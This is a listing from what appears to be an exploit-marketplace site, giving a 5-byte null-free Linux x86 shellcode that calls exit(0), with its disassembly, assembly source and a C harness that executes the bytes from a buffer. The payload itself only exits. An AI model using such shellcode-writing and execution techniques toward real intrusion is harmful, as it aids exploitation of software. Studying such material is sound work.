[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Linux/x86 exit(0) Shellcode (5 bytes)

Author
Daniele Votta
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-32082
Category
shellcode
Date add
28-01-2019
Platform
linux/x86
/* 
# Exit.asm
# Author: Daniele Votta
# Description: Exit with no nulls.
# Tested on: i686 GNU/Linux
# Shellcode Length: 5
*/

#include<stdio.h>
#include<string.h>

/*
Disassembly of section .text:

00000000 <_start>:
   0:	31 c0                	xor    eax,eax
   2:	40                   	inc    eax
   3:	cd 80                	int    0x80
======================= POC Daniele Votta =======================
*/

unsigned char shellcode[] = \
"\x31\xc0\x40\xcd\x80";

int main()
{
	printf("Shellcode Length:  %d\n", strlen(shellcode));

	int (*ret)() = (int(*)())shellcode;

	ret();
}	

-----------------------------

; Exit.asm
; Author: Daniele Votta
; Description: Exit with no nulls.
;
; Exit: FC 1 - SYNOPSIS
;      #include <unistd.h>
;      void _exit(int status);

global _start:

section .text

_start:

        ; Exit Gracefully
	xor eax, eax
	inc eax
        int 0x80                ; syscall



#  0day.today [2024-11-16]  #